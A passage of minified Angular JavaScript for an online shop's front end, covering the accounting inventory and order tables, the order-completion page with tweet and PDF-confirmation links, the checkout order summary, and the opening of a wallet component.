"),t.qZA()()}2&n&&t.s9C("matTooltip",t.lcZ(1,1,"LABEL_MARK_AS_DELIVERED"))}function il(n,a){if(1&n&&(t.TgZ(0,"mat-cell",35),t.YNc(1,ol,4,3,"button",42),t.YNc(2,al,4,3,"button",42),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.Q6J("ngIf",e.delivered),t.xp6(1),t.Q6J("ngIf",!e.delivered)}}function rl(n,a){1&n&&t._UZ(0,"mat-header-row")}function sl(n,a){1&n&&t._UZ(0,"mat-row")}function ll(n,a){1&n&&t._UZ(0,"mat-header-cell",44)}function cl(n,a){if(1&n&&(t.TgZ(0,"mat-cell",45),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij(" ",e.name,"")}}function ul(n,a){1&n&&t._UZ(0,"mat-header-cell",46)}function pl(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-cell",47)(1,"mat-form-field",48),t._UZ(2,"input",49,50),t.TgZ(4,"button",51),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.MAs(3),m=t.oxw();return t.KtG(m.modifyPrice(r.id,l.value))}),t._UZ(5,"i",52),t.qZA()()()}if(2&n){const e=a.$implicit;t.xp6(2),t.s9C("value",e.price)}}function dl(n,a){1&n&&t._UZ(0,"mat-header-cell",53)}function ml(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-cell",47)(1,"mat-form-field",48),t._UZ(2,"input",49,54),t.TgZ(4,"button",51),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.MAs(3),m=t.oxw();return t.KtG(m.modifyQuantity(m.quantityMap[r.id].id,l.value))}),t._UZ(5,"i",52),t.qZA()()()}if(2&n){const e=a.$implicit,o=t.oxw();t.xp6(2),t.s9C("value",o.quantityMap[e.id].quantity)}}function gl(n,a){1&n&&t._UZ(0,"mat-header-row")}function hl(n,a){1&n&&t._UZ(0,"mat-row")}O.vI.add(g.LEp);let _l=(()=>{class n{constructor(e,o,i,r){this.productService=e,this.quantityService=o,this.orderHistoryService=i,this.snackBarHelperService=r,this.orderHistoryColumns=["OrderId","Price","Status","StatusButton"],this.displayedColumns=["Product","Price","Quantity"]}ngAfterViewInit(){this.loadQuantity(),this.loadProducts(),this.loadOrders()}loadQuantity(){this.quantitySubscription=this.quantityService.getAll().subscribe(e=>{this.quantityMap={},e.forEach(o=>{this.quantityMap[o.ProductId]={id:o.id,quantity:o.quantity}})},e=>{console.log(e)})}loadProducts(){this.productSubscription=this.productService.search("").subscribe(e=>{this.tableData=e,this.dataSource=new d.by(this.tableData),this.dataSource.paginator=this.paginator},e=>{console.log(e)})}loadOrders(){this.orderHistoryService.getAll().subscribe(e=>{this.orderData=[];for(const o of e)this.orderData.push({id:o._id,orderId:o.orderId,totalPrice:o.totalPrice,delivered:o.delivered});this.orderSource=new d.by(this.orderData),this.orderSource.paginator=this.paginatorOrderHistory},e=>{console.log(e)})}ngOnDestroy(){this.productSubscription&&this.productSubscription.unsubscribe(),this.quantitySubscription&&this.quantitySubscription.unsubscribe()}modifyQuantity(e,o){this.quantityService.put(e,{quantity:o<0?0:o}).subscribe(i=>{const r=this.tableData.find(l=>l.id===i.ProductId);this.snackBarHelperService.open(`Quantity for ${r.name} has been updated.`,"confirmBar"),this.loadQuantity()},i=>{this.snackBarHelperService.open(i.error,"errorBar"),console.log(i)})}modifyPrice(e,o){this.productService.put(e,{price:o<0?0:o}).subscribe(i=>{this.snackBarHelperService.open(`Price for ${i.name} has been updated.`,"confirmBar"),this.loadProducts()},i=>{this.snackBarHelperService.open(i.error,"errorBar"),console.log(i)})}changeDeliveryStatus(e,o){this.orderHistoryService.toggleDeliveryStatus(o,{deliveryStatus:e}).subscribe(()=>{this.loadOrders()},i=>{this.snackBarHelperService.open(i,"errorBar"),console.log(i)})}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(Pt),t.Y36(Wt),t.Y36(pe),t.Y36(J.H))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-accounting"]],viewQuery:function(e,o){if(1&e&&(t.Gf(Gs,7),t.Gf(js,7)),2&e){let i;t.iGM(i=t.CRH())&&(o.paginatorOrderHistory=i.first),t.iGM(i=t.CRH())&&(o.paginator=i.first)}},decls:45,vars:8,consts:[[1,"mat-elevation-z6","mat-own-card"],["translate",""],["fxLayout","row","fxLayout.lt-md","column","fxLayoutGap","20px",1,"container"],["fxFlexAlign","center",1,"orders-container"],[1,"orders-table"],[1,"heading"],[3,"dataSource"],["matColumnDef","OrderId"],["translate","LABEL_ORDER_ID","fxFlex","50%",4,"matHeaderCellDef"],["fxFlex","50%",4,"matCellDef"],["matColumnDef","Price"],["translate","LABEL_PRICE","fxFlex","15%",4,"matHeaderCellDef"],["fxFlex","15%",4,"matCellDef"],["matColumnDef","Status"],["translate","LABEL_STATUS","fxFlex","20%",4,"matHeaderCellDef"],["fxFlex","20%",4,"matCellDef"],["matColumnDef","StatusButton"],["fxFlex","15%",4,"matHeaderCellDef"],[4,"matHeaderRowDef"],[4,"matRowDef","matRowDefColumns"],["color","accent",1,"mat-elevation-z0",3,"pageSize"],["paginatorOrderHistory",""],["fxFlexAlign.lt-md","center",1,"inventory-container"],[1,"inventory-table"],["matColumnDef","Product"],["translate","LABEL_PRODUCT","fxFlex","50%","fxFlex.lt-md","50%",4,"matHeaderCellDef"],["fxFlex","50%","fxFlex.lt-md","50%",4,"matCellDef"],["translate","LABEL_PRICE","fxFlex","25%","fxFlex.lt-md","25%",4,"matHeaderCellDef"],["fxFlex","25%","fxFlex.lt-md","25%",4,"matCellDef"],["matColumnDef","Quantity"],["translate","LABEL_QUANTITY","fxFlex","25%","fxFlex.lt-md","25%",4,"matHeaderCellDef"],["paginator",""],["translate","LABEL_ORDER_ID","fxFlex","50%"],["fxFlex","50%"],["translate","LABEL_PRICE","fxFlex","15%"],["fxFlex","15%"],["translate","LABEL_STATUS","fxFlex","20%"],["fxFlex","20%"],["class","error","translate","",4,"ngIf"],["class","confirmation","translate","",4,"ngIf"],["translate","",1,"error"],["translate","",1,"confirmation"],["mat-icon-button","","aria-label","Print order confirmation","matTooltipPosition","below",3,"matTooltip","click",4,"ngIf"],["mat-icon-button","","aria-label","Print order confirmation","matTooltipPosition","below",3,"matTooltip","click"],["translate","LABEL_PRODUCT","fxFlex","50%","fxFlex.lt-md","50%"],["fxFlex","50%","fxFlex.lt-md","50%"],["translate","LABEL_PRICE","fxFlex","25%","fxFlex.lt-md","25%"],["fxFlex","25%","fxFlex.lt-md","25%"],[1,"input-field"],["matInput","","type","number",3,"value"],["price",""],["mat-icon-button","","matSuffix","",3,"click"],[1,"fas","fa-check"],["translate","LABEL_QUANTITY","fxFlex","25%","fxFlex.lt-md","25%"],["quanitity",""]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card",0)(1,"h1",1),t._uU(2,"ACCOUNTING"),t.qZA(),t.TgZ(3,"div",2)(4,"div",3)(5,"div",4)(6,"div",5)(7,"span",1),t._uU(8,"TITLE_TRACK_ORDERS"),t.qZA()(),t.TgZ(9,"mat-table",6),t.ynx(10,7),t.YNc(11,Ks,1,0,"mat-header-cell",8),t.YNc(12,Ws,2,1,"mat-cell",9),t.BQk(),t.ynx(13,10),t.YNc(14,zs,1,0,"mat-header-cell",11),t.YNc(15,$s,2,1,"mat-cell",12),t.BQk(),t.ynx(16,13),t.YNc(17,Vs,1,0,"mat-header-cell",14),t.YNc(18,el,3,2,"mat-cell",15),t.BQk(),t.ynx(19,16),t.YNc(20,nl,1,0,"mat-header-cell",17),t.YNc(21,il,3,2,"mat-cell",12),t.BQk(),t.YNc(22,rl,1,0,"mat-header-row",18),t.YNc(23,sl,1,0,"mat-row",19),t.qZA(),t._UZ(24,"mat-paginator",20,21),t.qZA()(),t.TgZ(26,"div",22)(27,"div",23)(28,"div",5)(29,"span",1),t._uU(30,"TITLE_ALL_PRODUCTS"),t.qZA()(),t.TgZ(31,"mat-table",6),t.ynx(32,24),t.YNc(33,ll,1,0,"mat-header-cell",25),t.YNc(34,cl,2,1,"mat-cell",26),t.BQk(),t.ynx(35,10),t.YNc(36,ul,1,0,"mat-header-cell",27),t.YNc(37,pl,6,1,"mat-cell",28),t.BQk(),t.ynx(38,29),t.YNc(39,dl,1,0,"mat-header-cell",30),t.YNc(40,ml,6,1,"mat-cell",28),t.BQk(),t.YNc(41,gl,1,0,"mat-header-row",18),t.YNc(42,hl,1,0,"mat-row",19),t.qZA(),t._UZ(43,"mat-paginator",20,31),t.qZA()()()()),2&e&&(t.xp6(9),t.Q6J("dataSource",o.orderSource),t.xp6(13),t.Q6J("matHeaderRowDef",o.orderHistoryColumns),t.xp6(1),t.Q6J("matRowDefColumns",o.orderHistoryColumns),t.xp6(1),t.Q6J("pageSize",10),t.xp6(7),t.Q6J("dataSource",o.dataSource),t.xp6(10),t.Q6J("matHeaderRowDef",o.displayedColumns),t.xp6(1),t.Q6J("matRowDefColumns",o.displayedColumns),t.xp6(1),t.Q6J("pageSize",10))},dependencies:[h.O5,u.Pi,p.xw,p.SQ,p.XD,p.yH,F.Hw,f.KE,f.R9,x.lW,d.BZ,d.fO,d.as,d.w1,d.Dz,d.nj,d.ge,d.ev,d.XQ,d.Gk,xt.NW,T.a8,B.Nt,Q.gM,u.X$],styles:[".heading[_ngcontent-%COMP%]{background:rgba(0,0,0,.13);font-size:large;justify-content:center;margin-bottom:10px;padding:12px}.container[_ngcontent-%COMP%]{justify-content:center}mat-table[_ngcontent-%COMP%]{height:767px}mat-header-row[_ngcontent-%COMP%]{min-height:0!important}.orders-container[_ngcontent-%COMP%], .inventory-container[_ngcontent-%COMP%]{max-width:600px;min-width:300px;width:70%}.orders-table[_ngcontent-%COMP%], .inventory-table[_ngcontent-%COMP%]{margin-bottom:25px}mat-cell[_ngcontent-%COMP%], mat-footer-cell[_ngcontent-%COMP%], mat-header-cell[_ngcontent-%COMP%]{align-items:normal;display:block}mat-cell[_ngcontent-%COMP%]:last-child, mat-footer-cell[_ngcontent-%COMP%]:last-child, mat-header-cell[_ngcontent-%COMP%]:last-child{padding-right:50px}mat-row[_ngcontent-%COMP%]{height:69px}.mat-own-card[_ngcontent-%COMP%]{display:block;margin-bottom:20px;margin-left:10%;margin-right:10%}.product[_ngcontent-%COMP%]{cursor:pointer}.input-field[_ngcontent-%COMP%]{width:80px}"]}),n})();const fl=function(n){return{numberdays:n}};function Cl(n,a){if(1&n&&(t.TgZ(0,"span")(1,"div",30),t._uU(2,"ESTIMATED_TIME_OF_DELIVERY"),t.qZA()()),2&n){const e=t.oxw(2);t.xp6(1),t.Q6J("translateParams",t.VKq(1,fl,e.orderDetails.eta))}}function vl(n,a){if(1&n&&(t.TgZ(0,"div"),t.YNc(1,Cl,3,3,"span",7),t.TgZ(2,"div")(3,"b",4),t._uU(4,"LABEL_DELIVERY_ADDRESS"),t.qZA()(),t.TgZ(5,"div"),t._uU(6),t.qZA(),t.TgZ(7,"div"),t._uU(8),t.qZA(),t.TgZ(9,"div"),t._uU(10),t.qZA(),t.TgZ(11,"div")(12,"span",4),t._uU(13,"PHONE_NUMBER"),t.qZA(),t._uU(14),t.qZA()()),2&n){const e=t.oxw();t.xp6(1),t.Q6J("ngIf","?"!==e.orderDetails.eta&&void 0!==e.orderDetails.eta),t.xp6(5),t.Oqu(null==e.address?null:e.address.fullName),t.xp6(2),t.HOy("",null==e.address?null:e.address.streetAddress,", ",null==e.address?null:e.address.city,", ",null==e.address?null:e.address.state,", ",null==e.address?null:e.address.zipCode,""),t.xp6(2),t.Oqu(null==e.address?null:e.address.country),t.xp6(4),t.hij(" ",null==e.address?null:e.address.mobileNum,"")}}function xl(n,a){1&n&&(t.TgZ(0,"mat-header-cell",4),t._uU(1,"LABEL_PRODUCT"),t.qZA())}function bl(n,a){if(1&n&&(t.TgZ(0,"mat-cell"),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij("",e.name," ")}}function Tl(n,a){1&n&&t._UZ(0,"mat-footer-cell")}function Al(n,a){1&n&&(t.TgZ(0,"mat-header-cell",4),t._uU(1,"LABEL_PRICE"),t.qZA())}function yl(n,a){if(1&n&&(t.TgZ(0,"mat-cell"),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij("",e.price,"\\xa4")}}function Zl(n,a){1&n&&t._UZ(0,"mat-footer-cell")}function wl(n,a){1&n&&(t.TgZ(0,"mat-header-cell",4),t._uU(1,"LABEL_QUANTITY"),t.qZA())}function Sl(n,a){if(1&n&&(t.TgZ(0,"mat-cell")(1,"span"),t._uU(2),t.qZA()()),2&n){const e=a.$implicit;t.xp6(2),t.Oqu(e.quantity)}}function kl(n,a){1&n&&(t.TgZ(0,"mat-footer-cell")(1,"table",31)(2,"tr",32)(3,"td",4),t._uU(4,"ITEMS"),t.qZA()(),t.TgZ(5,"tr",32)(6,"td",4),t._uU(7,"DELIVERY"),t.qZA()(),t.TgZ(8,"tr",32)(9,"td",4),t._uU(10,"PROMOTION"),t.qZA()(),t.TgZ(11,"tr",33)(12,"td",4),t._uU(13,"LABEL_TOTAL_PRICE"),t.qZA()()()())}function Il(n,a){1&n&&(t.TgZ(0,"mat-header-cell",4),t._uU(1,"LABEL_TOTAL_PRICE"),t.qZA())}function Ol(n,a){if(1&n&&(t.TgZ(0,"mat-cell",34),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij("",e.total.toFixed(2),"\\xa4")}}function Ul(n,a){if(1&n&&(t.TgZ(0,"mat-footer-cell")(1,"table",34)(2,"tr",32)(3,"td"),t._uU(4),t.qZA()(),t.TgZ(5,"tr",32)(6,"td"),t._uU(7),t.qZA()(),t.TgZ(8,"tr",32)(9,"td"),t._uU(10),t.qZA()(),t.TgZ(11,"tr",33)(12,"td"),t._uU(13),t.qZA()()()()),2&n){const e=t.oxw();t.xp6(4),t.hij("",null==e.orderDetails.itemTotal?null:e.orderDetails.itemTotal.toFixed(2),"\\xa4"),t.xp6(3),t.hij("",e.deliveryPrice.toFixed(2),"\\xa4"),t.xp6(3),t.hij("",e.promotionalDiscount.toFixed(2),"\\xa4"),t.xp6(3),t.hij("",null==e.orderDetails.totalPrice?null:e.orderDetails.totalPrice.toFixed(2),"\\xa4")}}function Ll(n,a){1&n&&t._UZ(0,"mat-header-row")}function Pl(n,a){1&n&&t._UZ(0,"mat-row")}function Nl(n,a){1&n&&t._UZ(0,"mat-footer-row",35)}const El=function(n){return{id:n}},Ml=function(n){return{bonus:n}};O.vI.add(Z.mdU);let Dl=(()=>{class n{constructor(e,o,i,r,l){this.configurationService=e,this.addressService=o,this.trackOrderService=i,this.activatedRoute=r,this.basketService=l,this.tableColumns=["product","price","quantity","total price"],this.orderDetails={totalPrice:0},this.deliveryPrice=0,this.promotionalDiscount=0,this.tweetText="I just purchased",this.truncateTweet=(m,v=140)=>{if(!m)return null;const A=m.length>v;return`${m.substring(0,v)}${A?"...":""}`}}ngOnInit(){this.activatedRoute.paramMap.subscribe(e=>{this.orderId=e.get("id"),this.trackOrderService.find(this.orderId).subscribe(o=>{this.promotionalDiscount=o.data[0].promotionalAmount?parseFloat(o.data[0].promotionalAmount):0,this.deliveryPrice=o.data[0].deliveryPrice?parseFloat(o.data[0].deliveryPrice):0,this.orderDetails.addressId=o.data[0].addressId,this.orderDetails.paymentId=o.data[0].paymentId,this.orderDetails.totalPrice=o.data[0].totalPrice,this.orderDetails.itemTotal=o.data[0].totalPrice+this.promotionalDiscount-this.deliveryPrice,this.orderDetails.eta=o.data[0].eta||"?",this.orderDetails.products=o.data[0].products,this.orderDetails.bonus=o.data[0].bonus,this.dataSource=new d.by(this.orderDetails.products);for(const i of this.orderDetails.products)this.tweetText+=`%0a- ${i.name}`;this.tweetText=this.truncateTweet(this.tweetText),this.configurationService.getApplicationConfiguration().subscribe(i=>{i?.application?.social&&(this.tweetText+="%0afrom ",this.tweetText+=i.application.social.twitterUrl?i.application.social.twitterUrl.replace("https://twitter.com/","@"):i.application.name)},i=>{console.log(i)}),this.addressService.getById(this.orderDetails.addressId).subscribe(i=>{this.address=i},i=>{console.log(i)})},o=>{console.log(o)})},e=>{console.log(e)})}openConfirmationPDF(){window.open(`${this.basketService.hostServer}/ftp/order_${this.orderId}.pdf`,"_blank")}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(b.e),t.Y36(mt),t.Y36(Qt),t.Y36(U.gz),t.Y36(X))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-order-completion"]],decls:51,vars:18,consts:[[1,"mat-elevation-z6","mat-own-card"],["fxLayout","row","fxLayout.lt-md","column"],["fxFlex","60%",1,"mat-elevation-z0"],["translate","",1,"confirmation"],["translate",""],["routerLink","/track-result/new","translate","",3,"queryParams"],["fxFlex","40%",1,"mat-elevation-z0"],[4,"ngIf"],[1,"mat-elevation-z0","table-container"],[1,"heading"],[1,"heading-text"],["fxFlex",""],[3,"href"],["mat-icon-button","","aria-label","Tweet"],[1,"fab","fa-twitter","fa-lg"],["mat-icon-button","","aria-label","Print order confirmation","matTooltipPosition","below",3,"matTooltip","click"],[3,"dataSource"],["matColumnDef","product"],["translate","",4,"matHeaderCellDef"],[4,"matCellDef"],[4,"matFooterCellDef"],["matColumnDef","price"],["matColumnDef","quantity"],["matColumnDef","total price"],["class","price-align",4,"matCellDef"],[4,"matHeaderRowDef"],[4,"matRowDef","matRowDefColumns"],["mat-footer-row","",4,"matFooterRowDef"],[1,"mat-elevation-z0"],["translate","",3,"translateParams"],["translate","",1,"confirmation",3,"translateParams"],[1,"mat-table"],[1,"mat-row"],[1,"mat-row",2,"font-weight","bold"],[1,"price-align"],["mat-footer-row",""]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card",0)(1,"div")(2,"div",1)(3,"mat-card",2)(4,"div")(5,"h1",3),t._uU(6,"THANKS_FOR_PURCHASE"),t.qZA(),t.TgZ(7,"div",4),t._uU(8,"PURCHASE_COMMENT_PREFIX "),t.TgZ(9,"a",5),t._uU(10,"TITLE_TRACK_ORDERS"),t.qZA(),t._uU(11," PURCHASE_COMMENT_SUFFIX"),t.qZA()()(),t.TgZ(12,"mat-card",6),t.YNc(13,vl,15,8,"div",7),t.qZA()()(),t.TgZ(14,"div",8)(15,"div",9)(16,"span",10),t._uU(17),t.ALo(18,"translate"),t.qZA(),t._UZ(19,"span",11),t.TgZ(20,"a",12)(21,"button",13),t._UZ(22,"i",14),t.qZA()(),t.TgZ(23,"button",15),t.NdJ("click",function(){return o.openConfirmationPDF()}),t.ALo(24,"translate"),t.TgZ(25,"mat-icon"),t._uU(26," note "),t.qZA()()(),t.TgZ(27,"mat-table",16),t.ynx(28,17),t.YNc(29,xl,2,0,"mat-header-cell",18),t.YNc(30,bl,2,1,"mat-cell",19),t.YNc(31,Tl,1,0,"mat-footer-cell",20),t.BQk(),t.ynx(32,21),t.YNc(33,Al,2,0,"mat-header-cell",18),t.YNc(34,yl,2,1,"mat-cell",19),t.YNc(35,Zl,1,0,"mat-footer-cell",20),t.BQk(),t.ynx(36,22),t.YNc(37,wl,2,0,"mat-header-cell",18),t.YNc(38,Sl,3,1,"mat-cell",19),t.YNc(39,kl,14,0,"mat-footer-cell",20),t.BQk(),t.ynx(40,23),t.YNc(41,Il,2,0,"mat-header-cell",18),t.YNc(42,Ol,2,1,"mat-cell",24),t.YNc(43,Ul,14,4,"mat-footer-cell",20),t.BQk(),t.YNc(44,Ll,1,0,"mat-header-row",25),t.YNc(45,Pl,1,0,"mat-row",26),t.YNc(46,Nl,1,0,"mat-footer-row",27),t.qZA()(),t.TgZ(47,"div")(48,"mat-card",28)(49,"div",29),t._uU(50,"BONUS_POINTS_COUNT"),t.qZA()()()()),2&e&&(t.xp6(9),t.Q6J("queryParams",t.VKq(14,El,o.orderId)),t.xp6(4),t.Q6J("ngIf",o.address),t.xp6(4),t.Oqu(t.lcZ(18,10,"ORDER_SUMMARY")),t.xp6(3),t.MGl("href","https://twitter.com/intent/tweet?text=",o.tweetText,"&hashtags=security",t.LSH),t.xp6(3),t.s9C("matTooltip",t.lcZ(24,12,"PRINT_ORDER_CONFIRMATION")),t.xp6(4),t.Q6J("dataSource",o.dataSource),t.xp6(17),t.Q6J("matHeaderRowDef",o.tableColumns),t.xp6(1),t.Q6J("matRowDefColumns",o.tableColumns),t.xp6(1),t.Q6J("matFooterRowDef",o.tableColumns),t.xp6(3),t.Q6J("translateParams",t.VKq(16,Ml,o.orderDetails.bonus)))},dependencies:[h.O5,U.rH,u.Pi,p.xw,p.yH,F.Hw,x.lW,d.BZ,d.fO,d.as,d.w1,d.Dz,d.nj,d.mD,d.Ke,d.ge,d.ev,d.yh,d.XQ,d.Gk,d.Q2,T.a8,Q.gM,u.X$],styles:[".heading[_ngcontent-%COMP%]{background:rgba(0,0,0,.2);font-size:x-large}.heading-text[_ngcontent-%COMP%]{justify-content:center;padding:12px 20px}.mat-own-card[_ngcontent-%COMP%]{display:block;margin-left:20%;margin-right:20%}mat-cell[_ngcontent-%COMP%], mat-footer-cell[_ngcontent-%COMP%], mat-header-cell[_ngcontent-%COMP%]{padding-left:10px;padding-right:10px}.price-align[_ngcontent-%COMP%]{text-align:right}.tweet-logo[_ngcontent-%COMP%]{height:24px}"]}),n})();function ql(n,a){if(1&n&&(t.TgZ(0,"mat-card",20)(1,"div")(2,"div")(3,"b",14),t._uU(4,"PAYMENT_METHOD"),t.qZA()(),t.TgZ(5,"div")(6,"span",14),t._uU(7,"CARD_ENDING_IN"),t.qZA(),t._uU(8),t.qZA(),t.TgZ(9,"div")(10,"span",14),t._uU(11,"CARD_HOLDER"),t.qZA(),t._uU(12),t.qZA()()()),2&n){const e=t.oxw(2);t.xp6(8),t.hij(" ",null==e.paymentMethod?null:e.paymentMethod.cardNum,""),t.xp6(4),t.hij(" ",null==e.paymentMethod?null:e.paymentMethod.fullName,"")}}function Fl(n,a){1&n&&(t.TgZ(0,"mat-card",20)(1,"div")(2,"div")(3,"b",14),t._uU(4,"PAYMENT_METHOD"),t.qZA()(),t.TgZ(5,"div")(6,"span",14),t._uU(7,"DIGITAL_WALLET"),t.qZA()()()())}function Bl(n,a){if(1&n&&(t.TgZ(0,"div",16)(1,"mat-card",17)(2,"div")(3,"div")(4,"b",14),t._uU(5,"LABEL_DELIVERY_ADDRESS"),t.qZA()(),t.TgZ(6,"div"),t._uU(7),t.qZA(),t.TgZ(8,"div"),t._uU(9),t.qZA(),t.TgZ(10,"div"),t._uU(11),t.qZA(),t.TgZ(12,"div")(13,"span",14),t._uU(14,"PHONE_NUMBER"),t.qZA(),t._uU(15),t.qZA()()(),t.YNc(16,ql,13,2,"mat-card",18),t.YNc(17,Fl,8,0,"ng-template",null,19,t.W1O),t.qZA()),2&n){const e=t.MAs(18),o=t.oxw();t.xp6(7),t.Oqu(null==o.address?null:o.address.fullName),t.xp6(2),t.HOy("",null==o.address?null:o.address.streetAddress,", ",null==o.address?null:o.address.city,", ",null==o.address?null:o.address.state,", ",null==o.address?null:o.address.zipCode,""),t.xp6(2),t.Oqu(null==o.address?null:o.address.country),t.xp6(4),t.hij(" ",null==o.address?null:o.address.mobileNum,""),t.xp6(1),t.Q6J("ngIf","wallet"!==o.paymentMethod)("ngIfElse",e)}}const Rl=function(n){return{bonus:n}};let Yl=(()=>{class n{constructor(e,o,i,r,l,m,v){this.router=e,this.addressService=o,this.paymentService=i,this.basketService=r,this.deliveryService=l,this.ngZone=m,this.snackBarHelperService=v,this.bonus=0,this.itemTotal=0,this.deliveryPrice=0,this.promotionalDiscount=0}ngOnInit(){this.deliveryService.getById(sessionStorage.getItem("deliveryMethodId")).subscribe(e=>{this.deliveryPrice=e.price}),this.addressService.getById(sessionStorage.getItem("addressId")).subscribe(e=>{this.address=e},e=>{console.log(e)}),"wallet"!==sessionStorage.getItem("paymentId")?this.paymentService.getById(sessionStorage.getItem("paymentId")).subscribe(e=>{e.cardNum=String(e.cardNum).substring(String(e.cardNum).length-4),this.paymentMethod=e},e=>{console.log(e)}):"wallet"===sessionStorage.getItem("paymentId")&&(this.paymentMethod="wallet")}getMessage(e){this.itemTotal=e[0],this.promotionalDiscount=sessionStorage.getItem("couponDiscount")?parseFloat(sessionStorage.getItem("couponDiscount"))/100*this.itemTotal:0,this.bonus=e[1]}placeOrder(){var e=this;const o={paymentId:sessionStorage.getItem("paymentId"),addressId:sessionStorage.getItem("addressId"),deliveryMethodId:sessionStorage.getItem("deliveryMethodId")};this.basketService.checkout(Number(sessionStorage.getItem("bid")),btoa(sessionStorage.getItem("couponDetails")),o).subscribe(i=>{sessionStorage.removeItem("paymentId"),sessionStorage.removeItem("addressId"),sessionStorage.removeItem("deliveryMethodId"),sessionStorage.removeItem("couponDetails"),sessionStorage.removeItem("couponDiscount"),this.basketService.updateNumberOfCartItems(),this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/order-completion",i])}))},i=>{console.log(i),this.snackBarHelperService.open(i.error?.error.message,"errorBar")})}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(U.F0),t.Y36(mt),t.Y36(ue),t.Y36(X),t.Y36(Dt),t.Y36(t.R0b),t.Y36(J.H))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-order-summary"]],decls:36,vars:10,consts:[["fxLayout","row","fxLayoutGap","10%","fxLayout.lt-md","column",1,"mat-elevation-z6","mat-own-card"],["fxLayout","column","fxLayoutGap","20px","fxFlex","70%"],["fxLayout","row","fxLayoutGap","10px","fxLayout.lt-md","column",4,"ngIf"],[3,"allowEdit","totalPrice","emitTotal"],["fxFlex","40%"],[1,"mat-elevation-z0"],["translate","",1,"order-summary"],[1,"mat-table"],[1,"mat-row"],["translate","",1,"mat-cell","label"],[1,"mat-cell","price"],["translate","",1,"mat-footer-cell","label"],[1,"mat-footer-cell","price"],["mat-raised-button","","mat-button","","color","primary","aria-label","Complete your purchase","id","checkoutButton",1,"btn","btn-pay",3,"click"],["translate",""],["translate","",1,"bonus-points",3,"translateParams"],["fxLayout","row","fxLayoutGap","10px","fxLayout.lt-md","column"],["fxFlex","60%",1,"mat-elevation-z0"],["class","mat-elevation-z0","fxFlex","40%",4,"ngIf","ngIfElse"],["walletPayment",""],["fxFlex","40%",1,"mat-elevation-z0"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card",0)(1,"div",1),t.YNc(2,Bl,19,9,"div",2),t.TgZ(3,"app-purchase-basket",3),t.NdJ("emitTotal",function(r){return o.getMessage(r)}),t.qZA()(),t.TgZ(4,"div",4)(5,"mat-card",5)(6,"div",6),t._uU(7,"ORDER_SUMMARY"),t.qZA(),t.TgZ(8,"table",7)(9,"tr",8)(10,"td",9),t._uU(11,"ITEMS"),t.qZA(),t.TgZ(12,"td",10),t._uU(13),t.qZA()(),t.TgZ(14,"tr",8)(15,"td",9),t._uU(16,"DELIVERY"),t.qZA(),t.TgZ(17,"td",10),t._uU(18),t.qZA()(),t.TgZ(19,"tr",8)(20,"td",9),t._uU(21,"PROMOTION"),t.qZA(),t.TgZ(22,"td",10),t._uU(23),t.qZA()(),t.TgZ(24,"tr",8)(25,"td",11),t._uU(26,"LABEL_TOTAL_PRICE"),t.qZA(),t.TgZ(27,"td",12),t._uU(28),t.qZA()()(),t.TgZ(29,"button",13),t.NdJ("click",function(){return o.placeOrder()}),t.TgZ(30,"mat-icon"),t._uU(31," monetization_on "),t.qZA(),t.TgZ(32,"span",14),t._uU(33,"PLACE_ORDER_AND_PAY"),t.qZA()(),t.TgZ(34,"div",15),t._uU(35,"CHECKOUT_FOR_BONUS_POINTS"),t.qZA()()()()),2&e&&(t.xp6(2),t.Q6J("ngIf",o.address&&o.paymentMethod),t.xp6(1),t.Q6J("allowEdit",!1)("totalPrice",!1),t.xp6(10),t.hij("",null==o.itemTotal?null:o.itemTotal.toFixed(2),"\\xa4"),t.xp6(5),t.hij("",o.deliveryPrice.toFixed(2),"\\xa4"),t.xp6(5),t.hij("",o.promotionalDiscount.toFixed(2),"\\xa4"),t.xp6(5),t.hij("",o.itemTotal+o.deliveryPrice-o.promotionalDiscount==null?null:(o.itemTotal+o.deliveryPrice-o.promotionalDiscount).toFixed(2),"\\xa4 "),t.xp6(6),t.Q6J("translateParams",t.VKq(8,Rl,o.bonus)))},dependencies:[h.O5,u.Pi,p.xw,p.SQ,p.yH,F.Hw,x.lW,T.a8,_e],styles:[".btn-pay[_ngcontent-%COMP%]{display:block;margin-top:10px;width:100%}mat-card[_ngcontent-%COMP%]{height:auto;margin-top:20px}.mat-own-card[_ngcontent-%COMP%]{display:block;margin-left:20%;margin-right:20%}.main-wrapper[_ngcontent-%COMP%]{margin-left:10%;margin-right:10%}mat-cell[_ngcontent-%COMP%]{padding-left:10px;padding-right:10px}.price[_ngcontent-%COMP%]:last-of-type{padding-right:10px;text-align:right}.label[_ngcontent-%COMP%]:first-of-type{padding-left:10px}table[_ngcontent-%COMP%]{width:100%}.mat-footer-cell[_ngcontent-%COMP%]{font-weight:700}.order-summary[_ngcontent-%COMP%]{font-size:x-large;padding-bottom:10px;padding-left:10px}.bonus-points[_ngcontent-%COMP%]{margin-top:5px;text-align:center}"]}),n})();function Jl(n,a){1&n&&(t.TgZ(0,"mat-error",3),t._uU(1," MANDATORY_AMOUNT "),t.qZA())}function Ql(n,a){1&n&&(t.TgZ(0,"mat-error",3),t._uU(1," AMOUNT_LIMIT "),t.qZA())}let Hl=(()=>{class n{constructor(e,o,i){this.router=e,this.walletService=o,this.ngZone=i,this.balanceControl=new s.p4("",[s.kI.required,s.kI.min(10),s.kI.max(1e3)])}ngOnInit(){this.walletService.get().subscribe(e=>{this.balance=parseFloat(e).toFixed(2)},e=>{console.log(e)})}continue(){var 